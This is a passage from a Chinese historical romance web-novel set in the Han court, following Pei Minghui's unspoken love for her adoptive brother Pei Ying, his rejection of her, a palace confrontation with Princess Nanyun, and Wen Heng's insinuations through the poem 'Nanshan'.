“近日可还好?自你回来你我姐弟都不常相见呢。”温夫人偏过头来看向总是在走神的温珩,便伸出手来在他眼前晃了晃。 温珩这才回过神来,柔柔一笑,眼睛也眯了起来,“没什么。最近长安正逢多事之时,时局几变今日也算暂时稳下来了,我也能来见阿姐了。” “算你还记得我。” 温夫人笑眯眯地看向温珩,她握住他的手,拉着他在长案后坐下。 “你年纪也不小了,也到了该成婚的年纪,告诉阿姐,可有心仪的女孩子?” “没有。” 几乎是没有犹豫地一口回绝,温珩也惊觉自己的语速。 温夫人先是讶然,而后柔柔地笑了起来,一点朱唇露出皓齿,清新可人。 “以往我问你的时候,你都一脸不屑的样子,说什么情爱都是绊脚石,今日怎么回绝得这么快。” 温珩也皱起了好看的长眉,原本艳丽的容颜也萦绕上一丝迷惑的不解。 “真的没有吗?” 温夫人也察觉了温珩的异样,遂追问道。 “自然了。”温珩又“恢复”了既往的态度,他压下所有的疑惑,“这天下的女子,又又何人能与阿姐相比,何况,我温家尚未雪耻,弟又何颜面耽于情爱呢。” 温夫人面上浮现出一丝忧愁来,纤细的手紧紧握住温珩的手,抬眸看向温珩,美丽的眸子噙满哀伤:“珩儿千万不要耽于仇恨,如今你看这长安,过去的豪强贵族又剩下几家呢?姐姐只想要你好好的,温家落败也就落败了,没有谁会一直强盛的。” “可满城新贵皆豪奢,为何独独我不能呢。” 温珩抬起眼帘来,融融灯火流转在眼底,照亮熊熊野心。 “不进则退,我不进则为强者刀下鬼魂。后宫那李氏狼子野心,几番陷害阿姐。阿姐妇人之仁,却不肯对李氏下手,还以颜色,方才沦落至今。阿姐难道还不明白吗?仁慈百无用处。李氏嚣张过甚,屡屡干碍阿姐行止,依弟之见,当除之……” “温珩!” 一贯柔弱温和的温夫人一下子站了起来,她的胸脯剧烈地欺负着,显然气得不轻,“李夫人得宠此乃陛下之意,我何能责怪于她。我过去既如此作为,今日也不会改。你莫要打李夫人性命的主意,今日我既如此,是我无能守住陛下的恩宠。我就是这样的人,你既不愿意,那就请走罢。” 温夫人背过身去,单薄瘦削的身体分明披着厚实的袍子,可为何还在隐忍地颤抖呢。 温珩看着她的背影,无声站了起来,他垂下眼帘,拱手作礼告辞:“是弟无礼,还请阿姐莫要生气。弟告退,阿姐早些休息,春寒深重,阿姐记得添衣。” 他转身就离去了,夜里的潮湿水汽攀附在他的衣袍之上,这朱色更深更浓,像是氤氲开来的鲜血一般。 分明一母同胞的两个人有着极为相似的眉眼,却是天差地别的两个人。 他的眸光看向那灯火辉煌丝竹萦绕的千芳殿,他偏了偏头,漆黑的眸子落在上面,冷风吹起他鬓边的发丝,他的目光阴暗下来。 千芳殿,是得皇帝盛宠的李夫人的居所。 * 天上一钩弦月,清辉如水,润泽万物。 辎车辚辚停在裴府门前,素手拂起帘子,裴明绘探身而出,扶轼而下,等到绣履踩在地面之时,不由又心惊胆战起来,她先是在府门口游移徘徊好久,她就这样转了好几圈,回回惶惶难以自安,等待冷风盈袖春寒浮衣,她内心的焦躁不安才稍稍退去了些。 毕竟她面对的是精通刑名之学的御史大夫裴瑛,想要装傻委实是一番难事,故此她才如此焦虑。 她艰难整理了繁杂的心绪,方才下定决心走入府中。 一路上并未见到府令苏央,裴明绘才大大地松了一口气,略有些疲惫地服额叹息,发上插着金桃枝发簪坠着的金流苏也微微晃动着。 看样子裴瑛并未收到什么消息,也并不知道自己与温珩碰了面。 否则以哥哥的脾性定然是要拿自己的审问的。 可就在裴明绘准备回房休息之时,刚迈出一步,却又默默收回了脚,她心里突然感觉有些不对。 她最后决定还是去寻一下裴瑛,看一看他的反映,若真是无事,也好叫自己安心。 裴瑛的居所名曰停芜居,在府院第三进处,与她的小融局分在东西两侧。 她走到门前,就见停芜居的大门掩映着,并未关上,平素守候在侍卫婢女也不见了身影,裴明绘有些疑惑,推开门边走了进去。 院中还是老样子,自从裴瑛住进裴府便未曾更改过。 先是千百杆翠竹掩映,风过林稍,像是萧萧落雨之声,若细细辨听,便可听出竹声吟咏之乐声。风其间穿梭而过,带着竹叶清香,拂过粼粼湖泊,揉皱池中月影,吹起两只丹顶鹤的羽毛。 它们转过脑袋来,扇了扇翅膀,却也丝毫不敢扑过来。 三开间两进的屋子前种着几株梨树并杏树,今夜花得更外的好,甚至比未央宫的花还要漂亮。 它们争相吐蕊,绽露花苞,氤氲香气,盼无情公子前来一顾。 春寒未歇,风吹衣襟,此处植被浓密故阴凉甚多,又有幽泉一潭自积寒气,裴明绘突然有些冷,便也提着裙裾拾阶而上,忽地却又发现台阶之上不知何处生了些斑驳在。 她起先以为这是纵横花影,俯身细看,方才发觉是苔藓。 此处处处有专司洒扫的婢女与小厮,怎的这石阶竟生了苔藓。 裴明绘心中虽疑,心中担忧裴瑛,便压下心头疑虑,自往上走。 她停在门前,两扇门合在一处,并未开着。 屋子也并未点着灯。 可是裴明绘方才问过下人了,裴瑛却是在府中,并未曾出门。 裴明绘方才推开了门,屋中的寒气似乎比屋外还重,好似春寒云集于此,她入目所见先是一处待客之所,朱漆花瓶里种着清雅的芭蕉,月光落了下来,如覆银霜。 层层白纱自房梁处垂落,像是幽幽雾气一般,隔断里外间,辟出休憩养息之所。 裴明绘走了过去,抬手轻轻拂开窗纱,目光却不禁落在了一侧的长案之上。 原本长案之上应堆着许多公文简牍才是,可是今日一观,却是只有几幅的丝绢,上下用蓝田玉的镇石压得平整,她借着被白纱筛得稀碎而又迷蒙的月光,用方才看清上面精心所绘之轮廓。 她心里忽然生出难以名状的情绪来,她徐徐走了过来,将身跪下,轻柔地拿开上下两方镇石,纤纤素手执起丝绢来,凝神膝观,便见丝绢之上是一个女子。 一个很熟悉却又很陌生的女子。 轻薄丝绢上,笔锋细腻,精而柔地绘出了一个女子的模样,长纱掩面,单单露出一双形似凤眸的眼睛,黑色的眼珠沉沉无光,虽非真人,无声之间裴明绘却感受到了一种悲戚哀愁。 是她么? 很像,却又不像。 眼睛不像,神韵不像。 她眼睛本生得圆些,素日里也没有太多伤心事,眼睛便也整日圆润得像是一颗水灵灵的葡萄。 而神韵之差眼形之差,业已让事实明白如画。 裴明绘骤然胆战心惊,她的手颤抖着。 除了她,哥哥又会画谁的像呢。 可是哥哥既然画她,又为何似是而非呢。 沉寂已久的不安再度浮上心头,患得患失的痛苦一瞬间蔓延四肢百骸。 她并不了解裴瑛的心,裴瑛也从未同她说过他心中所想。 他曾经说过自己心怀仇恨,无意情爱,可人非草木,孰能无情? 他与她相扶长大,此般情谊,旁人自是比不得,可此情无欲无求,只盼彼此安好,哪里搀得半分男女之情在? 兄妹亲密却有间,这本就是常理。 可偏偏她却生了见不得光的心思,觊觎着自己的哥哥。 爱而不得,痛彻心扉。 她的脊背耸动着颤抖着,像一只受了惊吓的猫,哭也哭不出来。 风过帘动,翠色摇晃,叶叶萧萧,花落厅堂,冷香凄迷。 月过屋檐,玉影东移,堪堪覆在她的身上。 像是鬼魅一般,连空中的蜉蝣都没有惊动,裴瑛无声地停在裴明绘的身后,白衣如雪,冷寂无情,他垂首看着她,只静静观察着她,并不说话。 漆黑的眸子将她的脊背的颤抖神态的惊慌都尽数敛入眸中。 一个跪地弓身痛苦不已,一个长身玉立疑惑不解。 第45章 南山崔崔,雄狐绥绥。鲁道有荡,齐子由归。 为什么, 为什么,为什么是别人呢。 她低着头,手指紧攥着丝绢, 脊骨弯曲,长发垂落, 浑身上下都在颤抖。 为什么为什么,哥哥怎么可以这样无情呢? 难道自己还比不上她么,自己哪点比不上她。 情与妒交织成罗网,从丝绢之上抽离而来,将她的心紧紧束缚,让她几乎无法呼吸。 裴明绘痛苦非常, 正自恍惚间忽觉如芒在背, 倏然回首,一仰头便堪堪对上裴瑛的面容。 他居高临下,垂首看着她。 “啊!” 过度的惊吓让她的手颤抖起来,甚至连那薄薄的丝绢都拿不住, 丝绢如秋叶般飘零坠落, 却在行将触地之时被一只手捞住。 “哥哥?” 裴明绘瞬息之间便收拾好自己所有的情绪, 挤出一丝笑来。 “你来此处做什么?” 裴瑛将丝绢放入怀中,声音无起伏。 “我……我只是不见哥哥,便想着来见哥哥。” 裴明绘甫对上裴瑛那漆黑幽远的眸子,便觉得似乎自己的心已然赤裸裸地摆在了案上, 眸底所有情绪都无比坦诚地摊开在裴瑛面前,如庖丁解牛般清晰明了。 她揣摩着他的语气,却并问听出任何责怪与关心之意, 冷冰冰的没有一丝情绪起伏。 裴明绘直觉裴瑛如此大的变化,似乎是有什么她一直在努力维系的东西轰然破碎了。 裴明绘瞳孔紧缩, 而这般细微变化也被裴瑛收入眸中。 先前的痛苦,今时的惊慌,一无例外,尽数收入。 清冷的月辉透过随风浮落的细腻白纱,或浓或重地落在落在他的身上,浮泛着冰冷的光晕,勾勒出颀长优雅的轮廓。 裴明绘直直看着裴瑛的脸,她不知是不是光线的原因,她总觉得此时此刻的裴瑛面容上的血色愈来愈少。 难道,他也跟自己一样惊惶吗,也跟自己一样痛苦吗? 兄妹二人,心照不宣,彼此都有着不可言明的重重心事。 裴瑛的目光像是光滑的镜子,将她的情绪完完全全地映了出来,似乎连她极力隐藏的隐秘情丝也剥开了兄妹身份的外皮,展露在兄长的面前。 一瞬间,似乎有电流贯穿了她的全身,她全身的血肉似乎都凝固了。 她身体僵硬到动弹不得,可是内心却无比焦躁,急迫地想要打破这个危局。 终于苍白露着青筋的手撑在桌案上,裴明绘借力,缓缓站起身来。 裴瑛的目光也随之移动,注视着她僵硬而又缓慢地站起,没有说话。 裴明绘忽然觉得二人之间的氛围过于诡异,涌动的春日寒气带着青竹的清气与杏花的香气穿梭其间,带着二人发丝与衣袍在空中飞舞。 “不知这是谁的画像,里面的人我看着又熟悉又眼生,不知妹妹可曾见过?” 她装出一副好奇的模样,挽袖遮住下半张脸,圆圆的眼睛弯了起来,像是弯弯的月牙,只可惜,笑意破碎,哀戚迷离。 起先遇见这样一双眼睛,裴瑛的瞳眸剧烈地一颤,但很快他又垂下眼帘,将所有激荡的情绪压了下去,取而代之的是不加掩饰的探究,冷冽穿透她眼中惶然的笑,直直透入那颗扑通扑通跳动的心。 “你似乎很好奇。” 裴瑛的尾音微微扬起,带着怀疑与探究。 语气不复往日的温柔与关爱之意,冰冷得像是夹杂着雪粒的风。 裴明绘觉得似乎有什么东西要从自己喉咙里跳出来,可是她依旧强忍着,装出明媚的笑颜来,“能入哥哥画的人,子吟自然好奇了,哥哥……哥哥既然不想说,那妹妹也就不问了。” 裴明绘委实觉得裴瑛今日的脸色很奇怪,既不生气也不高兴,冷寂孤峭宛若立于雪山之巅,冷然旁观着她。 心底跳动的心脏像是擂擂金鼓一般,催促她赶快离去。 “子……子吟先退下去了。就不打扰哥哥休息了。” 就在裴明绘与裴瑛匆匆擦身而过的时候,裴瑛的声音传来了过来。 “她是为兄心悦之人。” 他的话只有平静,没有欢喜,没有雀跃。 霎时,她的动作凝滞住了,前行的脚步虚虚地踩在落满银霜的地毡之上,原本极度躁动的心也停住了跳动。 他说什么? 过了好久,裴明绘眨了眨干涩的眼睛。 他说…… 那个人是他心悦之人…… 怎么可以,怎么可以呢? 瞬间,她的心是一片冰天雪地。 她僵立在原地,过了好久,方才僵硬地转过头去,看向裴瑛。 她眨了眨眼睫,接着朦胧冰冷的月光仔细分辨着,从眉眼到身形,确是裴瑛。 裴瑛静静地看着她,看着她眼中的迷惑,不可置信,再到支离破碎。 裴瑛的眼瞳晃动,似是有所动摇,嘴唇嗫喏着,可是终究闭上了眼,再睁开眼之时这些些微的动摇情绪已然消失不见。 一时之暴雨,总好过长久的潮湿。 他心道。 “哥哥说什么……” 裴明绘所有强颜欢笑的伪装逐渐碎裂开来,可是一息理智尚存,于是残破的笑意便支离破碎地挂在脸上。 唇上朱红褪色,眸中笑意艰难。 裴瑛见她如此模样,并未有关心之语,却也未有诘问之辞,只静静地看着她,末了,他的视线稍稍偏移,落在门前那落花缤纷的杏树之上,自扶疏花叶见看见那被月光映得明亮的云。 情意无限,奈何恨连云海。 裴明绘觉得自己没有办法控制自己的表情,她的心想哭泣,可是理智却让她笑了起来。 “妹妹为哥哥高兴,若有朝一日,妹妹若是能够见到嫂嫂,妹妹定要为哥哥牵线,早日定下姻缘来才是。” 裴明绘笑了起来,但是末了又察觉到自己的面容有些扭曲,又有些水渍自眼眶流了下来,她抬起手来擦了擦,方又道,“妹妹真的好高兴,但听有些人说,哥哥若有了夫人,怕是就忘了妹妹了。” 裴瑛依旧长身立在光影交界处,他本神姿朗彻清冷独绝,虽居高位杀伐果决却依旧心怀仁慈。 他一贯疼爱裴明绘,最见不得她哭。 可是今日的他,却像是换了另一个人一样,冷漠而又无情。 月光僵她所有的痛苦与纠结都映入裴瑛的眼眸,就如光线映入瞳眸一般,照出一般的颜色。 沉默的空气中仿佛有无形的东西在碰撞着,白纱如云涌动不歇,冷风乍起落花翻飞。 他走了过来,抬手擦去她不断流下的泪水。 裴明绘隔着朦胧的泪水看向他,看着他原本清俊隽雅的容颜模糊成光斑,逐渐看不清楚。 “此乃谣言。”他的声音一贯动听,清冷间似有有清香流溢追魂十里,“世上无人,可与你相比。” “你一日是我的妹妹,便永世是我的妹妹。无论是谁,也无法更改。” 一言定生死,让她情何以堪。 似乎在这一瞬间,任何剪不断理还乱的情丝瞬间断尽,就如门外的落花,纷纷扬扬,砸落在地。 “有了哥哥这句话,妹妹就放心了。” 裴明绘甚至忘记自己是怎么离开这里的,她只记得冷风似乎吹入她的五窍,冰冷了她的血液。 这一夜,杏花如雪。 裴瑛依旧站立不动,长案上的丝绢墨画没了镇纸压制,狂风一起,便呼啦啦地飞了起来。 裴瑛依旧没动。 看似一切都没变,可是似乎一切都已经改变了。 他闭上了眼,身上落霜如雪,寂寞如风。 裴明绘踉踉跄跄地跑回了自己的院子,她脚步虚浮,艰难地扶住柱子,才堪堪没有摔倒,她弯着腰,而后扶着柱子,慢慢地跪在地上,深深地低下头去。 原本所有隐秘的情丝轰然碎在心里,像是边缘锋利的琉璃碎片,将她的心乍得千疮百孔鲜血淋漓。 她无声地哭泣着,她不明白为什么一切在此时此刻忽然改变了,可是裴瑛以前说的话却又清晰在耳,他说自己无意于婚嫁,却盼着自己能够寻觅良人。 此时此刻,难道不已经明晰地告诉她了吗? 他无意于她。 那次暧昧至深的错吻,却没有激起他半分的情丝,甚至让有了让郎君入赘的心思。 可是裴瑛日日夜夜忙碌不休,又哪有时间与女子相会呢? 难道是在梦里相会吗? 又或者是惊鸿一瞥便也再也忘不了。 裴明绘紧紧咬着唇,生怕自己哭出声来。 左右朝夕相处生死相依,都比不了那突兀而来的人吗? 长发曳地,如春草蔓延。 她的肩颈颤抖着,无声地流着泪。 难道他真的没有对自己有过一点情爱之念吗? “你一日是我的妹妹,便永世是我的妹妹。无论是谁,也无法更改。” 冷峻决绝的声音再度回响在她的耳边,让她的心瞬间空了,脑海中一片空白。 祠堂相拜结兄妹,此生此世不更改。 屋中春喜夏荷听闻小姐已然归府,却迟迟不见她回来,春喜便遣夏荷去外找,自己则在屋中等待小姐,备好一应盥洗事物。 夏荷甫一推开门,却见满目银辉,美人跪地。 “小姐!” 夏荷顿时吓得跳了起来,忙前行将裴明绘搀了起来,艰难地将她扶了起来,但是裴明绘身体瘫软地似乎将全身的骨骼都抽去了。 “小姐,春喜姐姐快来啊。” 夏荷吓得魂不附体,连忙大叫。 春喜匆匆而来,一到门口便见如此景象,登时吓得不行。 二人把裴明绘搀起来放在榻上,春喜便让夏荷去找家主,夏荷正要跑出去的时候,却又被一只手紧紧拽住了袖子。 “别去。” 那只清瘦的手缓缓收紧,其上青筋隐隐显露。 春喜一见她唇上血珠淋漓,忙执了帕子来擦去,血珠擦去,才发现原本美丽的红唇已然血肉模糊。 “小姐这是受了什么委屈。” 春喜一边推夏荷去寻药膏,自己且扶了裴明绘,柔声安慰。 “无事无事,你们都歇息罢。” 裴明绘疲惫地摆了摆手,强行撑着坐了起来,乌黑的发垂了下来,原本柔滑有光泽的长发似乎在此刻黯淡了起来,像是被秋日寒风吹拂过一般,带走了它所有水分,渐渐走向枯萎。 “只是一些小事,无事,你们都退下去罢。” 两个婢女你看我我看你,原想留在此处守候裴明绘,可是裴明绘却突然像是发了狂一般,拼命地嘶吼道:“走啊!我叫你们走!” 两个婢女受了惊吓,连声道诺,惶惶退下。 温暖的室内只剩下裴明绘一个人,她丧失了所有力气,跪坐在床上,将头深深埋了下去,无声地哭泣着。 一种无与伦比的孤独蔓延上来,就像是很久很久以前,自己被父亲送到许府的时候,那种看似有了更好的去处,实则却是到了一处真正无所凭依的境地。 不知从何而起的情思随着时间而日渐深重,因为情感的边界并非分明,而是如犬牙交错一般彼此楔入,并相互演化。 所以起初时,她只朦胧间不知其意,却在惊觉之时已然如陷泥沼般越陷越深。 不可自拔。 可她已到悬崖之时,便欲悬崖勒马,可是情乃烈马,不由理智,又岂是她说要按住便能按住的呢? 翌日清晨,春喜与夏荷小心翼翼地进来,却发现裴明绘已然昏倒在榻上,身上却连被子都没有盖,身上烫得吓人,脸颊上红得像是敷了胭脂,眼皮沉沉地坠着,一动也不动。 她发了热,烧得迷糊,似乎连天地日月都不知为何物了。 她的脑子混沌着,整个人的神思似乎都飘荡在一片黑暗里,四肢沉重像是有石头塞在里面,一动也动不得,眼皮上似乎也坠了水银一般,抬也抬不起来。 耳边时而传来嘈杂的声音,其间许多声音让她觉得莫名熟悉,却又莫名陌生,就在她疑惑不解之时,一缕冷香飘了过来,像是一阵春风一般,舒缓了她的疼痛。 她迷迷糊糊朦朦胧胧间似乎感受到有谁将她抱了起来,那些微的冷意驱散了她浑身难耐的燥意。 似乎有一只冰凉的手擦过她的脸颊,一下接着一下。 就这样过了许多日子,她才堪堪醒了过来,一睁眼,眼前是许多模糊的光斑,等待这些光斑消散之后,她才看清了眼前的人。 是裴瑛,是她的义兄,是她的哥哥。 “哥哥……” 裴明绘直直地看着裴瑛,声音沙哑,不复往日之清润。 “嗯。为兄在。” 裴瑛垂眸看着她,原本黑白分明的眼珠攀上红血丝,周身也不复往日的清爽干练,而满是疲惫。 显然她昏迷了多少日夜,他也就衣不解带照顾了多少日夜。 “可好些了?” 那夜的冰冷默然一扫而空,裴瑛似乎又成了那个她所熟悉的哥哥,温柔耐心,将所有阴暗面压下去的哥哥。 可是昨夜终究不是梦,这一场病,却也让她有所憬悟。 裴明绘的心底翻涌起波涛来,或许在这一刻她才真的明白了,有些事,是绝对没有可能的,太多痴心妄想压在心头,以至于让她以为自己真的有可能。 或许,放下才是这段感情最好的归宿。 裴明绘静静躺在裴瑛的怀中,裴瑛垂下眼眸来,无声地注视着她,将她抱在怀中。 可是往往天不随人愿,这段隐秘的情注定要在诸多势力的角逐之下走向最为惨烈的结局。 而裴明绘的伤心之时,也自此真正起了开端。 就这样过了暮春,浓烈的夏阳照落了洁白的杏花,当最后一朵杏花也开败的时候,未央宫里的李夫人殁了,皇帝甚思之,任命李夫人的兄长李何为贰师将军,封为西海侯。 与此同时,原本只小范围传播的歌谣也开始扩散开来,逐渐从长安民宅街坊穿到了未央宫的官署里。 当夏阳也消去燥热之意,清爽的秋风徐徐而来之时,未央宫的花木也愈加灿烂,诸多颜色交相层叠,随风飒飒作响,有的依旧坚持在枝头上,在阳光照耀上彰显着自己的色彩,但是有的却在冷风中坚持不住,飘飘然打着旋落了下来,层积在落叶堆上。 一只洁净修长的手将那金黄的落叶拾了起来,再度带它升了天空,遮蔽了刺目的日光,但是明亮纯净的光线却还是从叶子的边缘照了过来,落在裴明绘的面容上,照得她的面庞像是脂玉一般莹润。 她今日并未穿着过去常穿的粉色衣裳,而是穿着颇为肃穆庄重的深绯色衣裳,领口大袖的边缘都有简约的飞禽纹样。 虽有此赴宫宴女眷衣服形制不同,却也于朝官的衣服形制也是不同,因裴明绘身份之不同,故其衣物取折中之法。 “裴明绘!” 她正自出神之时,忽闻身后一人叫她名字,便转过头去。 却见秋阳灿烂之下,一华衣女子就在她一箭之地处看着她,眼中是激烈燃烧的愤怒。 是南云长公主刘竺。 “殿下。” 裴明绘欠身向南云长公主行礼。 此时的南云长公主似乎完全没了过去的傲气,长长的眉毛蹙起,积怨已久的眼睛映着自己憎恨已久的人的模样。 南云长公主一口银牙都要咬碎,只恨不得飞扑上来将裴明绘撕碎,却有所忌讳而不敢有所为。 裴明绘倒是讶然于南云长公主竟如此憎恨自己,难道是埋怨自己上次把她拽倒了? 南云长公主冷笑一声,踱步而来。 裴明绘知南云长公主来者不善,面上虽然沉静,内心却拉起了警戒:“不知殿下唤臣,有何事吩咐。” “我哪里敢吩咐你呢。”南云长公主压着心头的怒火,声音细长而又阴冷,“仗着自己哥哥是御史大夫,便为所欲为。但我告诉你,我是长公主,是汉朝的公主,你不过臣子,我们之间是永远无法跨越的差距,是云泥之别!” 南云长公主一走近,裴明绘才发现她的面色很是不好,眼底笼罩似乎永远都不会散的阴云。 看起来,南云长公主似乎经历一段很长的很不愉快的日子。 “臣谨遵南云长公主的教诲。” 裴明绘并不想同她发生争执,便屡次退让。 “只是臣还有些事,先告退了。” 裴明绘刚转过身子,南云长公主便呵住了她的动作:“站住!我叫你走了吗!” “不要以为多了几个虚头巴脑的官职,尾巴就可以翘到天上去了。” “,一介妇人,小吏之女,无尺寸之功,忝为朝官,你何德何能啊!”南云长公主咬牙切齿,每一个音节都饱含着愤怒与不解,若非有所顾及,她定然要动手,“你不就是仗着裴瑛么,我告诉你,你的官就是做到顶,也比不了我,就算是你哥哥,生死与荣华也不过是我皇兄一句话的事。” 南云长公主说得这番话委实太过扎耳,可是细细想来,却也不无道理。 本着万事和为贵的道理,裴明绘又忍了下去,她转过身来,“臣却是又要事,长公主此番教诲,臣定谨记在心。” 眼见又是一拳打在了棉花上,南云长公主顿时又是气不打一处来,连月的愤怒一时寻不到宣泄处,便也淹没了理智,她猛地扬起手来,便要重重地打在她的脸上。 眼见掌风逼来,裴明绘正欲要躲,电光火石间,一只修长优雅的手攥住了南云长公主的手腕,表面上看着轻轻松松,但是裴明绘却隐隐听见了骨骼响动的声音。 南云长公主面上愤怒的声音迅速被疼痛取而代之,长眉痛苦地绞在一起,她忍无可忍痛呼出声:“啊——” 裴明绘扭过头去,就见裴瑛冷漠从容地看着南云长公主的痛苦神色,手却依旧没有松开,像是刑具一般加诸于她不事劳动的纤弱手腕之上,直到她再也忍受不住跪倒在地,裴瑛这才松开了手,颇具风度地关切道,“长公主可还好?” 南云长公主捂住自己的手腕,过了许久才堪堪缓了过来,额头上沁出了豆大的汗珠。 她的手腕上除了有些许红痕以外并无外伤痕迹,但到底痛到何种地步只有她自己知道,这便是裴瑛多年经理刑狱而得出来的经验。 “你……”南云长公主用自己未受伤的手撑地起身,在看见裴瑛含笑的眼眸时,顿时红了眼眶,积郁在心底的委屈彻底爆发,“你怎么可以如此对我,我做的可都是为了你好啊!” 裴瑛依旧微笑着,他向南云长公主一拱手,“长公主的心意臣心领了,只是长公主的时间珍贵,与其浪费在臣的身上,不若去做些别的,也让陛下少为长公主操些心。” 南云长公主美丽的脸庞如同碎开了一般,苍白的嘴唇嗫喏着,一句话也说不出来。 裴瑛最后向失魂落魄的南云长公主拱手告辞,拉着若有所思的裴明绘便离开了。 裴明绘最后回头看了一眼南云长公主,她的泪水像是断线的珍珠一般流下她敷着脂粉的脸。 裴明绘又回过头去,垂首思索良久,才小心翼翼地偏过头来,看着裴瑛的侧颜。 南云长公主是皇帝的妹妹,若能尚公主,于裴瑛在政治上助益自是不必说,可是裴瑛不仅不对屡次示好的南云长公主动心,甚至为了她而伤长公主的心。 裴明绘又垂下头去,看着自己裙裾上的花纹,默然无语。 裴瑛虽未偏过头来,但是余光却也是一直看着她,见她又低下了头,整个人颓唐起来,便也转过头来,温声道:“怎么了?” 她这才如梦初醒般从自己的沉沉地思索中摆脱了出来,为了掩饰自己的难过,便将话头转向了南云长公主,“南云长公主这是怎么了,我见她的状态好像不太好。” 裴瑛笑了笑:“刘竺行事猖狂,不拘礼法,朝中自有很多人不满于她,为兄便叫御史捡了几件要紧事参了她,陛下便叫她在宫中思过,禁了她的行止,她往日的奢靡之事,自也是一同禁了。” 末了,他又摇了摇头,叹息道,“为兄原以为,刘竺经过此事定会有所收敛,或者,在明面上不该对你如此。为兄今次一观,却见此本性未改,丝毫未曾收敛,甚至加怨于你。看来,这刘竺也就是个蠢人了。” 裴明绘只默默点了点头,心里却半点高兴不起来,她遂问道:“可是哥哥,南云长公主不是很喜欢哥哥吗?” 清澈明亮的秋阳落在他的眉目之上,像是润着一层柔光,周身玄绯色袍服清正肃穆,行走间便是不可度测之深沉。 “为兄并非没有告知过她,只是她一厢情愿,甘作飞蛾扑火,自寻枷锁罢了。” 裴明绘原本乐见裴瑛拒绝南云长公主,可是今时今日,她却也明白了。 不是一个喜欢另一个人,并为他付诸心血甚至付出生命,另外一个人就要喜欢她的。 感情不是交易,不是筹码,它不是等价的交换物。 或许,在最初之时,裴瑛因为对她的歉疚而将她收作义妹,彼时怕并无兄妹之情。 可是今时今日,裴瑛却也对她有着真真切切不容辩驳的亲情。 与此同时,她却在亲情之中生了一分隐秘的情爱。 那这份情爱从何而来,又是何物呢? 是欲望吗? 怕也不是。 若要真的细细去说。 她也只能说一句情不知所起,却一往情深罢。 是枷锁吗? 这份越界感情怕也是对他要是枷锁吧,不管是南云长公主的情,还是作为妹妹的越界的爱,于他而言,怕也都是枷锁。 裴明绘垂下头,苦涩地笑了笑,而后又扭过去,冲裴瑛展颜一笑,眼睛弯弯,盛满日光:“我知道了,哥哥。” 宫宴上,舞女腰如柳,长袖招,翩翩红颜俏,满殿文武举爵庆贺皇帝万岁,又有淮南王千里迢迢而来,与列位高爵重臣列次作颂词,次次欢声雷动,皇帝欣然赏赐,又请司马相如作赋,赐以金帛,觥筹交错间便是西山衔日红日临窗,满地红光映得光亮。 宴罢之后诸臣本当离宫,可偏偏此事又有一桩要事亟待处理,皇帝便留了几位高爵重臣于宣室殿议事。 裴明绘抬起头来,便见夕阳正好红日正好,一片绚烂的颜色流转她微微熏醉的眼底,两颊酡红。 宫宴甚欢,兼之心事太重,裴明绘便也就多饮了,而这一多饮,也就让她醉了。 虽然面上看着虽然红了脸,倒是清醒的,但是心的事已然成了一潭烂泥,分也分不清了。 她脚步也有些虚浮,原本身旁有宫娥随身侍候,便也没什么大碍。 “大人可还好?” 宫娥看她如此模样,便提议让她先去偏殿休息一下。 裴明绘扶住树干,摆了摆手,只说在这里吹吹风。 宫娥也不能违背裴明绘的意志,便也只得在一旁等候着。 冷风吹拂着她的发丝,她的眼睫也微微颤动着,将夕阳筛进了微微涣散的瞳眸之中。 “小姐喝醉了?” 略带关切含笑话语幽幽滑进耳中,裴明绘一偏头,便撞见一张笑吟吟的脸。 阴魂不散,正是温珩。 瞳孔瞬间凝缩,裴明绘顿时冷了下来,所有的忧愁与暗自伤神的痛苦悉数敛藏,她站直了身子,冷声道:“温大人。” “小姐如此冷漠,倒是伤我的心呢。” 温珩幽幽踱步,目光一寸不离放在她的微红的面庞上。 “如何?”本就心烦意乱,温珩又来此添乱,裴明绘自然是心里烦得透顶,转身便走,却又被温珩的伸出的胳膊挡住。 她复又戒备地后退一步。 “方才宫宴之上,我见小姐看似开心,实则落寞,这般的神情,我觉得,太过似曾相识,便担心小姐再觅佳人,故而送上门来,以供小姐消解忧情。” 他眨了眨眼睛,绚烂的夕阳落了进去,便化作恶作剧般的光彩。 “谁要你送上门来。” 裴明绘实实在在被他激怒了,积郁在胸的酒意一下子上涌,彻底冲散了理智,她几乎压低嗓音,压抑着怒火,一把揪住他的领子,将他高傲的头身子拽得底低了下来。 “你到底想干什么,为什么总是阴魂不散缠着我,你烧了明月坊的产业也就罢了,你还想做什么做什么,你到底在发什么疯!你想要什么,你想要做什么!” 温珩头一次见裴明绘发着般的疯,眸子先是闪过一丝异样,但很快就被压了下来,隐藏在弯弯的笑眼里。 “我想要的,不过是想要小姐开心罢了。” 他说的话,裴明绘自然是一个字也不信,她目不转睛地盯着温珩,警告道:“我知道你想要什么了,你想要我们兄妹的命。我告诉你,绝无可能,你若敢动我哥哥分毫,我绝对与拚命!” “别紧张。” 温珩叩住她的手,轻轻松松一摁,便让她松了手。 “如今的我,可还没这个能力。” “不过,我只是来问小姐一件事。” 他的话语十分诚恳,像是诚心求教的学生。 “你且问,问完立即走。” 眼见温珩又来拽自己袖子,裴明绘一把便将袖子扯了出来。 “我才疏学浅,方才从市井听来一句诗,思来想去难解其中意,特来请教小姐。” “你说。” 裴明绘陡然生起戒备来,却还是不知道温珩葫芦里卖的什么药。 “市井小儿多传唱,南山崔崔,雄狐绥绥。鲁道有荡,齐子由归。既曰归止,曷又怀止?”温珩慢慢地吟诵着,略带妩媚的嗓音让诗经《南山》带上了暧昧情|欲,让人冷不丁寒芒耸立。“只是无缘无故,市井何故唱出此诗,是不是暗有所指?” 第46章 情谊勘破 此诗名曰《南山》, 影射齐襄公对文姜的觊觎之心与□□之行。 其意昭彰,裴明绘怎么会不明白。 而温珩,又怎么会不解其中意。 裴明绘的身体顿时僵直, 她忘了,忘了掺杂在这段隐秘情感的第三人, 这个致命的变数的出现让裴明绘不知所措,她只看着温珩,看着他从容不迫地负手而立,眉眼弯弯,等待着自己的回复。 “我不知道你在说什么,也不知道你什么意思。” 裴明绘的声音颤抖着, 胸腔里一颗心脏跳动得像是擂擂金鼓, 一下接着一下无间无断,冲击着她的耳膜,让她有些眩晕。 隐隐约约间,这首坊间无端流传, 蔓延已久的歌谣似乎与很久之前的某件事联结起来, 让她骤然心惊。 “哥哥爱妹妹, 还是妹妹爱哥哥?” 温珩的笑容狡黠而危险,他好奇地看向已然僵硬的裴明绘,挑了挑眉。 “我记得,当年裴大人逼死齐王的时候, 举的就是齐王与其姊通奸的旗帜罢。” 或许,他的出现,从一开始就是一场阴谋, 一场至死都不会结束的噩梦。 